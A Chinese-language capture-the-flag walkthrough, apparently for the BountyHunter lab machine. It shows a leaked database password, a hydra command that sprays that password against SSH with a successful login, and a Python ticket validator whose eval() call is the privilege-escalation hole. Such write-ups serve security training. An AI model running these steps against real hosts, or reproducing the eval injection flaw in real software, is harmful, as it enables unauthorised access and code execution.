靶场攻略 | BountyHunter靶场实战

<?php// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>

┌──(root💀kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user

┌──(root💀kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh

[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K

#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc):\\判断文件是否是md后缀    if loc.endswith(".md"):        return open(loc, 'r')    else:        print("Wrong file type.")        exit()
def evaluate(ticketFile):    #Evaluates a ticket to check for ireggularities.    code_line = None    for i,x in enumerate(ticketFile.readlines()):        if i == 0:\\判断文件第一行是否是# Skytrain Inc            if not x.startswith("# Skytrain Inc"):                return False            continue        if i == 1:\\同上            if not x.startswith("## Ticket to "):                return False            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")            continue
        if x.startswith("__Ticket Code:__"):\\判断__Ticket Code:__在第几行            code_line = i+1            continue
        if code_line and i == code_line:            if not x.startswith("**"):\\判断地四行开头是否有**                return False            ticketCode = x.replace("**", "").split("+")[0]\\取这一行**和+中间的数字            if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4                validationNumber = eval(x.replace("**", ""))\\用eval()执行**后面的命令                print(validationNumber)                if validationNumber > 100:                    return True                else:                    return False    return False
def main():    fileName = input("Please enter the path to the ticket file.\n")    ticket = load_file(fileName)    #DEBUG print(ticket)    result = evaluate(ticket)    if (result):\\判断result是否为ture        print("Valid ticket.")    else:        print("Invalid ticket.")    ticket.close
main()